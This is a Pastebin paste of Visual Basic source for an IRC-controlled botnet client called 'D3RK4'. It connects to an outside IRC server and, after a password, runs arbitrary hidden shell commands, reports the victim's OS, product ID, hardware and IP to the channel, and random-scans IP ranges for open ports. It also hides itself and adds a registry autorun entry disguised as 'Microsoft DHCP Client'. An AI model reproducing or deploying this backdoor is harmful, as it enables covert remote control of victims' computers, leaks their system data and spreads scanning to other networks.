Guest User

Untitled

a guest
Jan 27th, 2018
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.85 KB | None | 0 0
  1. Private Declare Function GetTickCount Lib "kernel32" () As Long
  2. Dim BotChan
  3. Dim Pong
  4. Dim BotData
  5. Dim BotPass
  6. Dim Ticks
  7. Dim minutes
  8. Dim Master
  9. Dim mem As MEMORYSTATUS
  10. Dim TotalRam
  11. Dim LIP
  12. Dim ScanPort
  13. Dim Base
  14. Dim ScanCnt
  15. Dim BaseMod
  16. 'Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long
  17. '
  18. 'Public Function UserName() As String
  19. ' Dim llReturn As Long
  20. ' Dim lsUserName As String
  21. ' Dim lsBuffer As String
  22. ' lsUserName = ""
  23. 'lsBuffer = Space$(255)
  24. 'llReturn = GetUserName(lsBuffer, 255)
  25. 'If llReturn Then
  26. ' lsUserName = Left$(lsBuffer, InStr(lsBuffer, Chr(0)) - 1)
  27. 'End If
  28. ' UserName = lsUserName
  29. 'End Function
  30. '
  31.  
  32. Private Sub Bot_Connect()
  33. Randomize Timer
  34. Bot.SendData "NICK Guest" & Int(Rnd * 9999) & vbCrLf
  35. Bot.SendData "USER Guest Guest Guest :Java User" & vbCrLf
  36. End Sub
  37.  
  38. Private Sub Bot_ConnectionRequest(ByVal requestID As Long)
  39. 'Bot.Close
  40. 'Bot.Accept (requestID)
  41. End Sub
  42. Private Sub Bot_DataArrival(ByVal bytesTotal As Long)
  43. Bot.GetData BotData, vbString
  44. On Error Resume Next
  45. For x = 1 To Len(BotData)
  46. '***Server Ping/Pong
  47. If Mid$(BotData, x, 6) = "PING :" Then
  48. Pong = Mid$(BotData, x + 6, Len(BotData) - 2)
  49. Bot.SendData "PONG " & Pong & vbCrLf
  50. Bot.SendData "JOIN " & BotChan & vbCrLf
  51. End If
  52.  
  53. '***Auth
  54. If Mid$(BotData, x, 7) = "./auth " Then
  55. If Mid$(BotData, x + 7, 4) = BotPass Then
  56. Bot.SendData "PRIVMSG " & BotChan & " :[password accepted]" & vbCrLf
  57. Master = True
  58. End If
  59. End If
  60.  
  61. If Master = True Then
  62. '***Start post-login commands
  63. If Mid$(BotData, x, 5) = "./ver" Then
  64. Bot.SendData "PRIVMSG " & BotChan & " :" & Chr(2) & ".::[D3RK4 0.002 (Public Release)]::." & vbCrLf
  65. ElseIf Mid$(BotData, x, 8) = "./uptime" Then
  66. Ticks = GetTickCount()
  67. seconds = Ticks / 1000
  68. minutes = seconds / 60
  69. Bot.SendData "PRIVMSG " & BotChan & " :[uptime] " & Round(minutes) & " minutes. " & vbCrLf
  70. ElseIf Mid$(BotData, x, 6) = "./info" Then
  71. GlobalMemoryStatus mem
  72. Ticks = GetTickCount()
  73. seconds = Ticks / 1000
  74. minutes = seconds / 60
  75. OS1 = GetStringValue("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion", "ProductName")
  76. OS2 = GetStringValue("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion", "CSDVersion")
  77. OS3 = GetStringValue("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion", "CurrentVersion")
  78. OS4 = GetStringValue("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion", "CurrentBuildNumber")
  79. OS5 = GetStringValue("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion", "BuildLab")
  80. PID = GetStringValue("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion", "ProductId")
  81. CPU = GetStringValue("HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0", "ProcessorNameString")
  82. CPU = Left$(CPU, InStr(CPU, Chr$(0)) - 1)
  83. PID = Left$(PID, InStr(PID, Chr$(0)) - 1)
  84. OS1 = Left$(OS1, InStr(OS1, Chr$(0)) - 1)
  85. OS2 = Left$(OS2, InStr(OS2, Chr$(0)) - 1)
  86. OS3 = Left$(OS3, InStr(OS3, Chr$(0)) - 1)
  87. OS4 = Left$(OS4, InStr(OS4, Chr$(0)) - 1)
  88. OS5 = Left$(OS5, InStr(OS5, Chr$(0)) - 1)
  89. TotalRam = mem.dwTotalPhys / 1024 / 1024
  90. Bot.SendData "PRIVMSG " & BotChan & " :[info] " & Chr(2) & "OS: " & Chr(2) & OS1 & " " & OS2 & " (" & OS3 & " - " & OS4 & ")" & Chr(2) & " BUILD: " & Chr(2) & OS5 & Chr(2) & " CPU: " & Chr(2) & CPU & Chr(2) & " RAM: " & Chr(2) & Round(TotalRam) & "MB" & Chr(2) & " UPTIME: " & Chr(2) & Round(minutes) & " minutes." & Chr(2) & " PRODUCT ID: " & Chr(2) & PID & Chr(2) & " IP: " & Chr(2) & Bot.LocalIP & vbCrLf
  91. ElseIf Mid$(BotData, x, 4) = "./ip" Then
  92. Bot.SendData "PRIVMSG " & BotChan & " :[ip] " & Bot.LocalIP & vbCrLf
  93. ElseIf Mid$(BotData, x, 6) = "./raw " Then
  94. Bot.SendData Mid$(BotData, x + 6, Len(BotData)) & vbCrLf
  95. Bot.SendData "PRIVMSG " & BotChan & " :[raw] command preformed" & vbCrLf
  96. ElseIf Mid$(BotData, x, 6) = "./run " Then
  97. 'MsgBox Mid$(BotData, x + 5, Len(BotData) - x - 6)
  98. Shell ("cmd.exe /c " & Mid$(BotData, x + 6, Len(BotData) - x - 7)), vbHide
  99. Bot.SendData "PRIVMSG " & BotChan & " :[run] command preformed" & vbCrLf
  100. ElseIf Mid$(BotData, x, 7) = "./scan " Then
  101. Scan.Close
  102. ScanPort = Mid$(BotData, x + 7, Len(BotData))
  103. ScanPort = Mid$(ScanPort, 1, Len(ScanPort) - 2)
  104. 'MsgBox ScanPort
  105. Scan.RemotePort = ScanPort
  106. ScanCnt = 0
  107. Bot.SendData "PRIVMSG " & BotChan & " :[scanning] Port: " & ScanPort & vbCrLf
  108. ElseIf Mid$(BotData, x, 12) = "./scan.state" Then
  109. Bot.SendData "PRIVMSG " & BotChan & " :[scanning] Port: " & ScanPort & " Current: " & Scan.RemoteHost & " State: " & Scan.State & " Count: " & ScanCnt & vbCrLf
  110. ElseIf Mid$(BotData, x, 11) = "./scan.stop" Then
  111. Scan.Close
  112. ScanPort = Null
  113. Bot.SendData "PRIVMSG " & BotChan & " :[scanning halted]" & vbCrLf
  114. ElseIf Mid$(BotData, x, 7) = "./base " Then
  115. Randomize Timer
  116. BaseMod = Mid$(BotData, x + 7, Len(BotData))
  117. BaseMod = Mid$(BaseMod, 1, Len(BaseMod) - 2)
  118. Base = BaseMod & "." & Int(Rnd * 255) + 1 & "."
  119. Bot.SendData "PRIVMSG " & BotChan & " :[scanning] Range: " & Base & "*.*" & vbCrLf
  120. ElseIf Mid$(BotData, x, 8) = "./logout" Then
  121. Master = False
  122. Bot.SendData "PRIVMSG " & BotChan & " :[logged out]" & vbCrLf
  123. ElseIf Mid$(BotData, x, 11) = "./omgwtfh4x" Then
  124. Bot.SendData "PRIVMSG " & BotChan & " :(Connection Reset by Peer)" & vbCrLf
  125. Bot.Close
  126. Unload Form1
  127. End If
  128. '***End post-login commands
  129. End If
  130.  
  131. Next x
  132. 'MsgBox BotData
  133. End Sub
  134.  
  135. Private Sub Form_Load()
  136. On Error Resume Next
  137. Randomize Timer
  138. Startup = SetStringValue("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices", "Microsoft DHCP Client", VB.App.Path & "\msdhcpcl.exe")
  139. Shell ("ws.exe hide -p msdhcpcl.exe"), vbHide
  140. Form1.Visible = False
  141.  
  142. Timer1.Interval = 60000
  143. Timer1.Enabled = True
  144. Timer2.Interval = 10000
  145. Timer2.Enabled = True
  146. Master = False
  147. BotChan = "#.baha."
  148. BotPass = Chr(116) & Chr(101) & Chr(115) & Chr(116)
  149. LIP = Split(Bot.LocalIP, ".")
  150. 151.Base = LIP(0) & "." & LIP(1) & "."
  151. Bot.Protocol = sckTCPProtocol
  152. Bot.RemoteHost = "irc.after-all.org"
  153. Bot.RemotePort = 6667
  154. Bot.Connect
  155. End Sub
  156.  
  157. Private Sub Scan_Connect()
  158. Bot.SendData "PRIVMSG " & BotChan & " :[scan] " & Scan.RemotePort & " " & Scan.RemoteHost & vbCrLf
  159. End Sub
  160.  
  161. Private Sub Timer1_Timer()
  162. If Bot.State < 7 Then
  163. Bot.Close
  164. Bot.Connect
  165. ElseIf Bot.State = 7 Then
  166. Bot.SendData "JOIN " & BotChan & vbCrLf
  167. Bot.SendData "MODE " & BotChan & " +snt" & vbCrLf
  168. End If
  169. End Sub
  170.  
  171. Private Sub Timer2_Timer()
  172. If Len(ScanPort) > 0 Then
  173. ScanCnt = ScanCnt + 1
  174. Scan.Close
  175. Scan.RemoteHost = Base & Int(Rnd * 255) + 1 & "." & Int(Rnd * 255) + 1
  176. Scan.Connect
  177. End If
  178. End Sub
Add Comment
Please, Sign In to add comment